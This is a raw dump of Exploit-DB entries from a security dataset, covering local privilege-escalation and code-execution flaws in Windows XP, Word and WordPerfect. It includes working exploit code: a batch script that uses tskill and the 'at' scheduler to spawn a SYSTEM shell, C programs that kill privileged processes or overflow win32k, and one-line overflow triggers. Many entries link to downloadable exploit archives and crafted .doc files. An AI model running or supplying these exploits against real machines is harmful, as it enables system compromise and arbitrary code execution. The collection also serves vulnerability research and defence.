deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35850
Description: Microsoft Windows XP - 'tskill' Local Privilege Escalation
Type: local
Platform: windows
Date: 2011-06-13
Author: Todor Donev

Exploit:
@echo off
REM
REM source: https://www.securityfocus.com/bid/48232/info
REM
REM Microsoft Windows is prone to a local privilege-escalation vulnerability.
REM
REM A local attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges.
REM Successful exploits will result in the complete compromise of affected computers. 
REM Failed exploit attempts may cause a denial-of-service condition. 
REM

echo [+] Microsoft WinXP sp2/sp3 local system privilege escalation exploit
start time /T > time.txt
tskill explorer
time 13:36:59 > nul
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y

echo [*] Backup time
time < time.txt
Exploit-DB #9301
Description: Microsoft Windows XP - 'win32k.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-07-30
Author: NT Internals

Exploit:
////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | Microsoft Corporation - http://www.microsoft.com/                          | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | Windows XP Service Pack 2                                                  | //
// | Windows XP Service Pack 3                                                  | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | Multi-User Win32 Driver - win32k.sys <= 5.1.2600.5796                      | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 30 July 2009                                                               | //
// |                                                                            | //
// | References:                                                                | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://www.reversemode.com/                             | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://www.ntinternals.org/win32k/NtUserConsoleControl_Exp.zip
back: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9301.zip (2009-NtUserConsoleControl_Exp.zip)

Description:
http://www.ntinternals.org/index.html#09_07_30

# milw0rm.com [2009-07-30]
Exploit-DB #22225
Description: Microsoft Windows XP - Redirector Privilege Escalation
Type: local
Platform: windows
Date: 2003-02-05
Author: Nsfocus

Exploit:
source: https://www.securityfocus.com/bid/6778/info

The Microsoft Windows XP Redirector does not properly handle certain parameters that are passed to it. If one of these parameters was unusually long, a buffer could be overrun, resulting in either Windows XP crashing or code execution with elevated privileges.

c:\> net use \\AAAA...AAA\A
Exploit-DB #5518
Description: Microsoft Windows XP SP2 - 'win32k.sys' Local Privilege Escalation (MS08-025)
Type: local
Platform: windows
Date: 2008-04-28
Author: Ruben Santamarta

Exploit:
// ms08-25-exploit #1
// This exploit takes advantage of one of the vulnerabilities 
// patched in the  Microsoft Security bulletin MS08-25
// http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx
// ---------------------------------------
// Modifications are strictly prohibited.
// For research purposes ONLY.
// ---------------------------------------
// Ruben Santamarta 
// www.reversemode.com

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5518.zip (2008-ms08-25-exploit.zip)

# milw0rm.com [2008-04-28]
Exploit-DB #22870
Description: Microsoft Windows XP/2000 - 'RunDLL32.exe' Local Buffer Overflow
Type: local
Platform: windows
Date: 2003-07-06
Author: Rick Patel

Exploit:
source: https://www.securityfocus.com/bid/8114/info

rundll32.exe has been reported prone to a buffer overflow vulnerability. The condition has been reported to be triggered when an excessive string is passed to the vulnerable application as a routine name for a module.

Exploitation of this issue may be hindered, due to the fact that user-supplied data is converted to Unicode.

It should be noted that although this issue has been reported to affect rundll32.exe that is shipped with Windows XP SP1, other versions might also be affected.

rundll32.exe advpack32.dll,<'A'x499>
Exploit-DB #23210
Description: Microsoft Windows XP/2000 - PostThreadMessage() Arbitrary Process Killing
Type: local
Platform: windows
Date: 2003-10-02
Author: Brett Moore

Exploit:
// source: https://www.securityfocus.com/bid/8747/info

A vulnerability has been discovered in the Microsoft Windows operating system. The flaw lies in the way that processes handle messages sent from another process via the PostThreadMessage() API call. Reports indicate that, if a running process has a message queue and is sent one of 3 different messages, the process may terminate. This termination will occur despite any security level differences between processes, as well as any safe guards to prevent this behaviour, such as requiring a password before the process is killed.

This issue likely occurs due to a design error, specifically failing to ensure that process verifies the origin of messages recieved via the PostThreadMessage() API call. 

#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
{
        long hWnd,proc;
        DWORD hThread;
        printf("%% AppShutdown - Playing with PostThreadMessage\n");
        printf("%% brett.moore@security-assessment.com\n\n");
        // Specify Window Title On Command Line
        if (argc ==2)
                pWindow = argv[1];
        else
                pWindow = tWindow;

        printf("+ Finding %s Window...\n",pWindow);
        hWnd = (long)FindWindow(NULL,pWindow);
        if(hWnd == NULL)
        {
          printf("+ Couldn't Find %s Window\n",pWindow);
          return 0;
        }
        printf("+ Found Main Window At...0x%xh\n",hWnd);
        printf("+ Finding Window Thread..");
        hThread = GetWindowThreadProcessId(hWnd,&proc);
        if(hThread  == NULL)
        {
          printf("Failed\n");
          return 0;
        }
        printf("0x%xh Process 0x%xh\n",hThread,proc);
        printf("+ Send Quit Message\n");
        PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
        printf("+ Done...\n");
        return 0;
}
Exploit-DB #33012
Description: Microsoft Windows XP/2000/2003 - Desktop Wall Paper System Parameter Privilege Escalation
Type: local
Platform: windows
Date: 2009-02-02
Author: Arkon

Exploit:
// source: https://www.securityfocus.com/bid/35120/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

Attackers may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will facilitate the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. 

#include <windows.h>
int main()
{
 WCHAR c[1000] = {0};
 memset(c, �c�, 1000);
 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)c, 0);

 WCHAR b[1000] = {0};
 SystemParametersInfo(SPI_GETDESKWALLPAPER, 1000, (PVOID)b, 0);
 return 0;
}
Exploit-DB #21690
Description: Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (7)
Type: local
Platform: windows
Date: 2002-08-06
Author: Ovidio Mallo

Exploit:
source: https://www.securityfocus.com/bid/5408/info
      
A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based application. Attackers with local access may exploit this vulnerability to elevate privileges if a window belonging to another process with higher privileges is present. One example of such a process is antivirus software, which often must run with LocalSystem privileges.
      
** Microsoft has released a statement regarding this issue. Please see the References section for details.
      
A paper, entitled "Win32 Message Vulnerabilities Redux" has been published by iDEFENSE that describes another Windows message that may be abused in a similar manner to WM_TIMER. Microsoft has not released patches to address problems with this message. There are likely other messages which can be exploited in the same manner.
      
Another proof-of-concept has been released by Brett Moore in a paper entitled "Shattering SEH III". This paper demonstrates how Shatter attacks may be used against applications which make use of progress bar controls.
      
Brett Moore has released a paper entitled "Shattering By Example" which summarizes previous Shatter attacks, discusses new techniques and also provides an exploit which abuses Windows statusbars using WM_SETTEXT, SB_SETTEXT, SB_GETTEXTLENGTH, SB_SETPARTS and SB_GETPARTS messages. Please see the attached reference to the paper for more details.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21690.rar
Exploit-DB #21691
Description: Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (8)
Type: local
Platform: windows
Date: 2002-08-06
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/5408/info
       
A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based application. Attackers with local access may exploit this vulnerability to elevate privileges if a window belonging to another process with higher privileges is present. One example of such a process is antivirus software, which often must run with LocalSystem privileges.
       
** Microsoft has released a statement regarding this issue. Please see the References section for details.
       
A paper, entitled "Win32 Message Vulnerabilities Redux" has been published by iDEFENSE that describes another Windows message that may be abused in a similar manner to WM_TIMER. Microsoft has not released patches to address problems with this message. There are likely other messages which can be exploited in the same manner.
       
Another proof-of-concept has been released by Brett Moore in a paper entitled "Shattering SEH III". This paper demonstrates how Shatter attacks may be used against applications which make use of progress bar controls.
       
Brett Moore has released a paper entitled "Shattering By Example" which summarizes previous Shatter attacks, discusses new techniques and also provides an exploit which abuses Windows statusbars using WM_SETTEXT, SB_SETTEXT, SB_GETTEXTLENGTH, SB_SETPARTS and SB_GETPARTS messages. Please see the attached reference to the paper for more details.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21691.zip
Exploit-DB #6757
Description: Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (K-plugin) (MS08-066)
Type: local
Platform: windows
Date: 2008-10-15
Author: Ruben Santamarta

Exploit:
Hi,

I have just uploaded a k-plugin for Kartoffel, which exploits a flaw
patched in the recent MS08-066 bulletin.

http://kartoffel.reversemode.com/downloads.php
backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6757.zip (2008-afd_plugin.zip)


For those researchers interesting in digging a little bit more into this
flaw, just take a look at afd!AfdGetRemoteAddress and/or check this out

http://blogs.technet.com/swi/archive/2008/10/14/ms08-066-how-to-correctly-validate-and-capture-user-mode-data.aspx

Regards,
RubÃ©n.

# milw0rm.com [2008-10-15]
Exploit-DB #29630
Description: Microsoft Windows XP/2003 - ReadDirectoryChangesW Information Disclosure
Type: local
Platform: windows
Date: 2007-02-22
Author: 3APA3A

Exploit:
// source: https://www.securityfocus.com/bid/22664/info

Microsoft Windows is prone to a local information-disclosure vulnerability.

A local attacker may leverage this issue to gain access to potentially sensitive information about user permissions and accessed files. Information gained may aid in further attacks against the affected computer. 

/*
	Monitors directory changes
	(c) 2006-2007 Vladimir Dubrovin, 3APA3A
	http://securityvulns.com/
	http://securityvulns.ru/
*/

#include <windows.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char *argv[]){
    HANDLE hDir;

	char buf[1024];
	FILE_NOTIFY_INFORMATION * fn;
	int read;
	WCHAR * action = NULL;

	if(argc != 2) {
		printf(
"Usage: %s <directory_path>\n"
" Monitor directory changes with all subdirectories\n"
" For any files, including ones you have no access\n"
" (as on January, 2007)\n"
"(c) Vladimir Dubrovin, 3APA3A\n"
" http://securityvulns.com\n"
" http://securityvulns.ru\n"
"This approach is not reliable and should not be used for audit and another critical operations.\n",
 argv[0]);
		return 1;
	}

	CreateDirectory(argv[1], 0);
	hDir = CreateFile(
	  argv[1],
	  FILE_LIST_DIRECTORY,
	  FILE_SHARE_READ|FILE_SHARE_DELETE,
	  NULL,
	  OPEN_EXISTING,
	  FILE_FLAG_BACKUP_SEMANTICS,
	  NULL
	);
	if(hDir == INVALID_HANDLE_VALUE){
		fprintf(stdout, "Failed to open dir\n");
		return 2;
	}
	for(;;){
	    if(!ReadDirectoryChangesW(
		hDir,
		buf,
		1022,
		1,
		FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS |
			FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE	| FILE_NOTIFY_CHANGE_LAST_WRITE	|
			FILE_NOTIFY_CHANGE_CREATION	 | FILE_NOTIFY_CHANGE_SECURITY
		,
		(DWORD *)&read,
		NULL,
		NULL
		)) {
			fprintf(stderr, "Failed to read directory changes\n");
			break;
		}
		for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){
			fn->FileName[fn->FileNameLength/2] = 0;
			switch(fn->Action){
			case FILE_ACTION_ADDED:
				action = L"added";
				break;
			case FILE_ACTION_REMOVED:
				action = L"removed";
				break;
			case FILE_ACTION_MODIFIED:
				action = L"accessed/modified";
				break;
			case FILE_ACTION_RENAMED_OLD_NAME:
				action = L"renamed (old name)";
				break;
			case FILE_ACTION_RENAMED_NEW_NAME:
				action = L"renamed (new name)";
				break;
			default:
				action = L"(unknown)";
			}
		    wprintf(L"File %s: %s\n", action, fn->FileName);
		    if(!fn->NextEntryOffset) break;
		    fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset);
		}
	}
	return 0;
	
}
Exploit-DB #32892
Description: Microsoft Windows XP/2003 - RPCSS Service Isolation Privilege Escalation
Type: local
Platform: windows
Date: 2009-04-14
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/34443/info

Microsoft Windows is prone to a privilege-escalation vulnerability.

Successful exploits may allow attackers to elevate their privileges to LocalSystem, which would facilitate the complete compromise of affected computers.

The issue affects the following:

Windows XP SP2
Windows Server 2003

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6705.zip
Exploit-DB #32891
Description: Microsoft Windows XP/Vista/2003/2008 - WMI Service Isolation Privilege Escalation
Type: local
Platform: windows
Date: 2009-04-14
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/34442/info

Microsoft Windows is prone to a privilege-escalation vulnerability.

Successful exploits may allow attackers to elevate their privileges to LocalSystem, which would facilitate the complete compromise of affected computers.

The issue affects the following:

Windows XP SP2
Windows Server 2003
Windows Vista
Windows Server 2008 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6705.zip
Exploit-DB #37657
Description: Microsoft Word - Local Machine Zone Code Execution (MS15-022)
Type: local
Platform: windows
Date: 2015-07-20
Author: Eduardo Braun Prado

Exploit:
Exploit Title: Microsoft Word Local Machine Zone Remote Code Execution Vulnerability
Date: July 15th, 2015
Exploit Author: Eduardo Braun Prado
Vendor Homepage : http://www.microsoft.com
Version: 2007
Tested on: Microsoft Windows  XP, 2003, Vista, 2008, 7, 8, 8.1
CVE: 	CVE-2015-0097

Original Advisory: https://technet.microsoft.com/library/security/ms15-022

Microsoft Word, Excel and Powerpoint 2007 contains a remote code execution vulnerability because it is possible 
to reference documents such as Works document (.wps) as HTML. It will process HTML and script code in the context 
of the local machine zone of Internet Explorer which leads to arbitrary code execution. 
By persuading users into opening eg. specially crafted .WPS, ".doc ", ".RTF " (with a space at the end) 
it is possible to triggerthe vulnerability and run arbitrary code in the context of the logged on Windows user.

Exploit code here :

https://onedrive.live.com/embed?cid=412A36B6D0A9436A&resid=412A36B6D0A9436A%21156&authkey=AA_JVoZcoM5kvOc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37657.zip
Exploit-DB #3260
Description: Microsoft Word 2000 - Code Execution
Type: local
Platform: windows
Date: 2007-02-03
Author: xCuter

Exploit:
############ use at your own risk *******

+ Title: Microsoft Word 2000 Unspecified Code Execution Vulnerability Exploit (0-day)

+ code by xCuter (BongGoo Kang - xcuter@returnaddr.org)
           
+ Critical: High Critical
 
+ Impact: MS Word 2000 -> Could Allow Arbitrary Command Execution
          MS word 2003 -> Attempts against Word 2003/XP will consume all CPU resources and will cause a denial of service
 
+ Where: From remote
 
+ Tested Operating System: Windows XP SP2 FULL PATCHED (Korean Language)
 
+ Tested Software: Microsoft(R) Word 2000 (9.0.2720)
 
+ Solution: Not Patched (zero-day)
 
+ Description:
  When a user opens a specially crafted Word file using a malformed string,
  it may corrupt system memory in such a way that an attacker could execute arbitrary code
  This exploit will be execute command - 'CMD.EXE'
 
+ Reference : http://www.microsoft.com/technet/security/advisory/932114.mspx - Microsoft Security Advisory (932114)
 
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29524.doc (02032007-word2000exp.doc)
- http://www.returnaddr.org/exploit/word2000

############ use at your own risk *******

# milw0rm.com [2007-02-03]
Exploit-DB #40224
Description: Microsoft Word 2007/2010/2013/2016 - Out-of-Bounds Read Code Execution (MS16-099)
Type: local
Platform: windows
Date: 2016-08-10
Author: COSIG

Exploit:
#####################################################################################

# Application: Microsoft Office Word
# Platforms: Windows, OSX
# Versions: Microsoft Office Word 2007,2010,2013,2016
# Author: Sébastien Morin of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @SebMorin1, @COSIG_
# Date: August 09, 2016
# CVE: CVE-2016-3313
# COSIG-2016-31

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#######################################################################################

===================
1) Introduction
===================

Microsoft Word is a word processor developed by Microsoft. It was first released on October 25, 1983[3] under the name Multi-Tool Word for Xenix systems.[4][5][6] Subsequent versions were later written for several other platforms including IBM PCs running DOS (1983), Apple Macintosh running Mac OS (1985), AT&T Unix PC (1985), Atari ST (1988), OS/2 (1989), Microsoft Windows (1989) and SCO Unix (1994). Commercial versions of Word are licensed as a standalone product or as a component of Microsoft Office, Windows RT or the discontinued Microsoft Works suite. Microsoft Word Viewer and Office Online are Freeware editions of Word with limited features.

(https://en.wikipedia.org/wiki/Microsoft_Word)

#######################################################################################

===================
2) Report Timeline
===================

2016-05-15: Sébastien Morin of COSIG report the vulnerability to MSRC.
2016-06-07: MSRC confirm the vulnerability
2016-08-09: Microsoft fixed the issue (MS16-099).
2016-08-09: Advisory released.

#######################################################################################

===================
3) Technical details
===================

This vulnerability allow remote code execution if a user opens a specially crafted Microsoft Office Word (.doc) with an invalid WordDocumentStream.
An attacker who successfully exploited the vulnerabilities could run arbitrary code in the context of the current user.

#######################################################################################

==========
4) POC
==========

https://smsecurity.net/wp-content/uploads/2016/08/COSIG-2016-31.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40224.zip

#######################################################################################
Exploit-DB #23096
Description: Microsoft WordPerfect - Converter Buffer Overrun
Type: local
Platform: windows
Date: 2003-09-03
Author: valgasu

Exploit:
source: https://www.securityfocus.com/bid/8538/info

The Microsoft WordPerfect Converter, which ships with Office and a number of other products, is prone to a buffer overrun vulnerability. This could result in execution of malicious, attacker-supplied code when a document with malformed parameters is processed by the component. Exploitation would permit an attacker to execute arbitrary code with the privileges of the user opening the malformed document. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23096.zip